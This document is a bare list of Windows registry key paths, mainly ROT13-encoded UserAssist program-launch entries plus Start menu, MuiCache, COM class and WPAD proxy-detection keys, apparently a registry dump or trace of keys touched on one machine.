HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\FavccvatGbby.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\zfcnvag.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\pzq.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{6Q809377-6NS0-444O-8957-N3773S02200R}\JvaENE\JvaENE.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.Jvaqbjf.ErzbgrQrfxgbc
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\zntavsl.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\zfpbasvt.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{7P5N40RS-N0SO-4OSP-874N-P0S2R0O9SN8R}\Zvpebfbsg Bssvpr\Bssvpr14\ZFNPPRFF.RKR
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\abgrcnq.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\JvaqbjfCbjreFuryy\i1.0\cbjrefuryy.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\aneengbe.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\bfx.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\rhqprqvg.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{9N1P52S6-O7PN-N600-8N83-212175R318PN}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\P:\Hfref\Ybhvfr\NccQngn\Ybpny\Cebtenzf\Clguba\Clguba38-32\clguba.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{5207P316-7Q26-2P87-06SQ-Q117NNSP5N43}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{2Q9S42P3-4RPS-5QSQ-0050-9S4303883N6R}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.Bssvpr.ZFNPPRFF.RKR.15
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{6Q809377-6NS0-444O-8957-N3773S02200R}\TVZC 2\ova\tvzc-2.10.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\8216P80P92P4R828
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{6Q809377-6NS0-444O-8957-N3773S02200R}\Abgrcnq++\abgrcnq++.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.Bssvpr.BARABGR.RKR.15
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.Bssvpr.BHGYBBX.RKR.15
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.Bssvpr.ZFCHO.RKR.15
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{Q4N262QQ-PR44-Q105-S36O-9Q77N8PO65N4}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.Bssvpr.ylap.rkr.15
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{6Q809377-6NS0-444O-8957-N3773S02200R}\QIQ Znxre\QIQZnxre.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\JSF.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.Jvaqbjf.ZrqvnCynlre32
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\kcfepuij.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{6Q809377-6NS0-444O-8957-N3773S02200R}\7-Mvc\7mSZ.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\qvfcynlfjvgpu.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{6Q809377-6NS0-444O-8957-N3773S02200R}\Pbzzba Svyrf\Zvpebfbsg Funerq\Vax\zvc.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{NN198O3P-PQ8P-7QR1-98Q1-O460S637193O}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\ArgCebw.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\FbhaqErpbeqre.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\zboflap.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{6Q809377-6NS0-444O-8957-N3773S02200R}\Jvaqbjf AG\Npprffbevrf\jbeqcnq.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{QNN168QR-4306-P8OP-8P11-O596240OQQRQ}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\puneznc.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\qsethv.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\pyrnazte.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{P804OON7-SN5S-POS7-8O55-2096R5S972PO}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\zfvasb32.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\efgehv.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{P1P6S8NP-40N3-0S5P-146S-65N9QP70OOO4}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\zvtjvm\cbfgzvt.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\zvtjvm\zvtjvm.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{6Q809377-6NS0-444O-8957-N3773S02200R}\Pbzzba Svyrf\Zvpebfbsg Funerq\Vax\FuncrPbyyrpgbe.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{6Q809377-6NS0-444O-8957-N3773S02200R}\Pbzzba Svyrf\Zvpebfbsg Funerq\Vax\GnoGvc.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{Q65231O0-O2S1-4857-N4PR-N8R7P6RN7Q27}\JvaqbjfCbjreFuryy\i1.0\cbjrefuryy.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{Q65231O0-O2S1-4857-N4PR-N8R7P6RN7Q27}\JvaqbjfCbjreFuryy\i1.0\CbjreFuryy_VFR.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\JvaqbjfCbjreFuryy\i1.0\CbjreFuryy_VFR.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\P:\Clguba27\clguba.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{6386QRP4-5S32-RSRQ-773S-07OS9POO4946}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\pbzrkc.zfp
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{8NOQ94SO-R7Q6-84N6-N997-P918RQQR0NR5}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\bqopnq32.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{OO044OSQ-25O7-2SNN-22N8-6371N93R0456}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\vfpfvpcy.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\ZqFpurq.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{S38OS404-1Q43-42S2-9305-67QR0O28SP23}\Zvpebfbsg.ARG\Senzrjbex\i1.1.4322\zfpbepst.zfp
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{S38OS404-1Q43-42S2-9305-67QR0O28SP23}\Zvpebfbsg.ARG\Senzrjbex\i1.1.4322\PbasvtJvmneqf.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{8NN47365-O2O3-1961-69RO-S866R376O12S}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\cevagznantrzrag.zfp
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{OQ3S924R-55SO-N1ON-9QR6-O50S9S2460NP}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\freivprf.zfp
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\JS.zfp
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\SvyrMvyyn.Pyvrag.NccVQ
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{ORRQ7569-SSR5-8040-36N9-5SS58775ORQ7}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{6Q809377-6NS0-444O-8957-N3773S02200R}\VesnaIvrj\v_ivrj64.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\erpqvfp.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{1NP14R77-02R7-4R5Q-O744-2RO1NR5198O7}\zfen.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\VasbCngu.Qrfvtare.3
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\VasbCngu.Svyyre.3
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{7P5N40RS-N0SO-4OSP-874N-P0S2R0O9SN8R}\Zvpebfbsg Bssvpr\Bssvpr14\BARABGR.RKR
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{7P5N40RS-N0SO-4OSP-874N-P0S2R0O9SN8R}\Zvpebfbsg Bssvpr\Bssvpr14\BHGYBBX.RKR
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{7P5N40RS-N0SO-4OSP-874N-P0S2R0O9SN8R}\Zvpebfbsg Bssvpr\Bssvpr14\ZFCHO.RKR
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{7P5N40RS-N0SO-4OSP-874N-P0S2R0O9SN8R}\Zvpebfbsg Bssvpr\Bssvpr14\TEBBIR.RKR
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\\x01ko'OI5!!!!!!!!!ZXXFxBssvprQvtvgnyFSvyrf<
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{7P5N40RS-N0SO-4OSP-874N-P0S2R0O9SN8R}\Zvpebfbsg Bssvpr\Bssvpr14\ZFGBER.RKR
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\\x01ko'OI5!!!!!!!!!ZXXFxFrgYnathntrSvyrf<
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\\x01ko'OI5!!!!!!!!!ZXXFxJkcSvyrf<
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{7P5N40RS-N0SO-4OSP-874N-P0S2R0O9SN8R}\Zvpebfbsg Bssvpr\Bssvpr14\BVF.RKR
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.Bssvpr.QNGNONFRPBZCNER.RKR.15
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.Bssvpr.FRGYNAT.RKR.15
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.Bssvpr.ZFBHP.RKR.15
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.Bssvpr.BpChoZte.rkr.15
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.Bssvpr.FCERNQFURRGPBZCNER.RKR.15
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.Bssvpr.zfbgq.rkr.15
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.Bssvpr.zfbri.rkr.15
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{7P5N40RS-N0SO-4OSP-874N-P0S2R0O9SN8R}\Zvpebfbsg Fvyireyvtug\5.1.20125.0\Fvyireyvtug.Pbasvthengvba.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.Fxlcr.FxlcrQrfxgbc
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\pbz.fdhveery.Fynpx.fynpx
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{6Q809377-6NS0-444O-8957-N3773S02200R}\Fcrppl\Fcrppl64.rkr
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{51325390-NR6N-68SP-N315-0950PP83N166}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\Zvpebfbsg.NhgbTrarengrq.{30OQ9N02-PO9N-93SQ-N859-09P8803S2346}
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\{6Q809377-6NS0-444O-8957-N3773S02200R}\IvqrbYNA\IYP\iyp.rkr
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_MinMFU
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_LargeMFUIcons
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_LargeMFUIcons
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\MUI\StringCacheSettings\StringCacheGeneration
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\1E4\52C64B7E\@C:\Windows\system32\OobeFldr.dll,-33056
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\1E4\52C64B7E\@C:\Windows\ehome\ehres.dll,-100
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\1E4\52C64B7E\@C:\Windows\system32\SNTSearch.dll,-505
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\1E4\52C64B7E\@C:\Windows\system32\SnippingTool.exe,-15051
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\1E4\52C64B7E\@C:\Windows\system32\mstsc.exe,-4000
HKEY_CURRENT_USER\Control Panel\Personalization\Desktop Slideshow\Interval
HKEY_CURRENT_USER\Control Panel\Personalization\Desktop Slideshow\Shuffle
HKEY_CURRENT_USER\Control Panel\Personalization\Desktop Slideshow\AnimationDuration
HKEY_CURRENT_USER\Control Panel\Personalization\Desktop Slideshow\Flags
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{26656EAA-54EB-4E6F-8F85-4F0EF901A406}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{8A40A45D-055C-4B62-ABD7-6D613E2CEAEC}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{55272A00-42CB-11CE-8135-00AA004BB851}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{B196B286-BAB4-101A-B69C-00AA00341D07}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{B196B286-BAB4-101A-B69C-00AA00341D07}\InprocServer32\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{B196B286-BAB4-101A-B69C-00AA00341D07}\InprocServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{B196B286-BAB4-101A-B69C-00AA00341D07}\InprocServer32\ThreadingModel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{BCD1DE7E-2DB1-418B-B047-4A74E101F8C1}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{2A1C9EB2-DF62-4154-B800-63278FCB8037}\ProxyStubClsid32\(Default)
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{5E5E0B13-621E-47B5-AA41-63B84D6692D2}\WpadDecision
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{5E5E0B13-621E-47B5-AA41-63B84D6692D2}\WpadDecisionTime
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\WpadExpirationDays
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{5E5E0B13-621E-47B5-AA41-63B84D6692D2}\WpadDecisionReason
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{5E5E0B13-621E-47B5-AA41-63B84D6692D2}\WpadDhcp
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{5E5E0B13-621E-47B5-AA41-63B84D6692D2}\WpadDns
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{5E5E0B13-621E-47B5-AA41-63B84D6692D2}\WpadDetectedUrl
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\52-54-00-6f-d4-05\WpadDecision
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\52-54-00-6f-d4-05\WpadDecisionTime
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\52-54-00-6f-d4-05\WpadDecisionReason
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\52-54-00-6f-d4-05\WpadDhcp
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\52-54-00-6f-d4-05\WpadDns
